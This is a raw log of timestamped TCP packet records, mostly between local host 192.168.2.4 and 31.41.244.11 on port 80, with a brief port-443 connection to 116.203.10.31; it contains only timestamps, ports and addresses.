Dec 12, 2024 14:27:00.372399092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.372469902 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.373156071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.373236895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.373240948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.373275995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.374011040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.374053001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.374083042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.374305010 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.374907970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.374986887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.374990940 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.375060081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.375711918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.375837088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.375870943 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.375905991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.376615047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.376652002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.376808882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.376843929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.377593040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.377604961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.377645969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.377645969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.378354073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.378396034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.378415108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.378528118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.379230976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.379336119 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.379338980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.379384995 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.380028009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.380109072 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.380117893 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.380156040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.380883932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.380930901 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.380949020 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.380990982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.381758928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.381772041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.381792068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.381882906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.382646084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.382704020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.382725000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.382760048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.383513927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.383527040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.383565903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.383567095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.384329081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.384341955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.384378910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.384378910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.385262966 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.385274887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.385297060 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.386013985 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.386046886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.386046886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.386080027 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.386305094 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.387070894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.387083054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.387128115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.387128115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.387779951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.387792110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.387980938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.388638973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.388674974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.389065981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.389571905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.389591932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.389604092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.389640093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.389640093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.390577078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.390794039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.390832901 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.390866041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.391652107 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.391731024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.391868114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.392152071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.392968893 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.392980099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.393310070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.393310070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.393834114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.394031048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.394033909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.394118071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.394613981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.394664049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.394855022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.394961119 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.395514011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.395528078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.395617962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.395617962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.396166086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.396218061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.396286011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.396320105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.396950960 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.397037029 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.397129059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.397718906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.397757053 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.397775888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.397775888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.398397923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.398407936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.398488998 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.546022892 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:00.546077967 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:00.546152115 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:00.546705961 CET	49885	443	192.168.2.4	116.203.10.31
Dec 12, 2024 14:27:00.546720028 CET	443	49885	116.203.10.31	192.168.2.4
Dec 12, 2024 14:27:00.547626972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.547683954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.547700882 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.547739983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.547856092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.547898054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.547919035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.547969103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.548782110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.548860073 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.548880100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.549098015 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.549586058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.549640894 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.549679041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.549721003 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.550513029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.550537109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.550546885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.550605059 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.551348925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.551386118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.551412106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.551412106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.552198887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.552210093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.552238941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.552279949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.553153992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.553195953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.553361893 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.553421974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.553950071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.553997040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.554029942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.554099083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.554826021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.554903984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.554925919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.554963112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.555666924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.555761099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.555835009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.555876017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.556505919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.556520939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.556565046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.556622982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.557315111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.557326078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.557368040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.557368040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.558196068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.558238983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.558268070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.558326960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.559139967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.559150934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.559196949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.559196949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.559843063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.559895992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.559926987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.560739994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.560784101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.560784101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.560965061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.561021090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.561594009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.561640024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.561986923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.562026024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.562529087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.562570095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.562576056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.562758923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.563348055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.563361883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.563395977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.563395977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.564233065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.564245939 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.564291000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.564291000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.565196991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.565236092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.565251112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.565282106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.566205978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.566276073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.566314936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.566314936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.567367077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.567380905 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.567419052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.567419052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.568211079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.568253994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.568283081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.568320036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.569118023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.569159985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.569304943 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.569345951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.570043087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.570087910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.570261002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.570549011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.570827961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.570871115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.570928097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.571332932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.571791887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.571851969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.571923971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.572453022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.572489977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.572489977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.572560072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.572694063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.573189974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.573229074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.573832989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.573843956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.573852062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.573972940 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.574506044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.574551105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.574820995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.574863911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.575344086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.575627089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.575680017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.575680017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.576530933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.576544046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.576572895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.576590061 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.577032089 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.577052116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.577070951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.577104092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.578295946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.578337908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.578399897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.578449011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.578882933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.578962088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.578984976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.579066992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.579684019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.579725027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.579909086 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.579941034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.581065893 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.581099987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.581262112 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.581634045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.582287073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.582341909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.582357883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.582447052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.583116055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.583156109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.583237886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.583281040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.584111929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.584147930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.584167957 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.584186077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.585238934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.585311890 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.585326910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.585366011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.585922003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.585951090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.586025000 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.586812973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.586874962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.586941004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.587029934 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.587568045 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.587639093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.587807894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.587896109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.588279009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.588323116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.588356018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.588402033 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.589010000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.589032888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.589051962 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.589143991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.590033054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.590094090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.590095997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.590153933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.590941906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.590990067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.591057062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.591109991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.591804981 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.591816902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.591866970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.591866970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.592407942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.592602015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.592638969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.592638969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.593228102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.593272924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.739686966 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.739742041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:00.739785910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.739785910 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:00.740092993 CET	80	49878	31.41.244.11	192.168.2.4
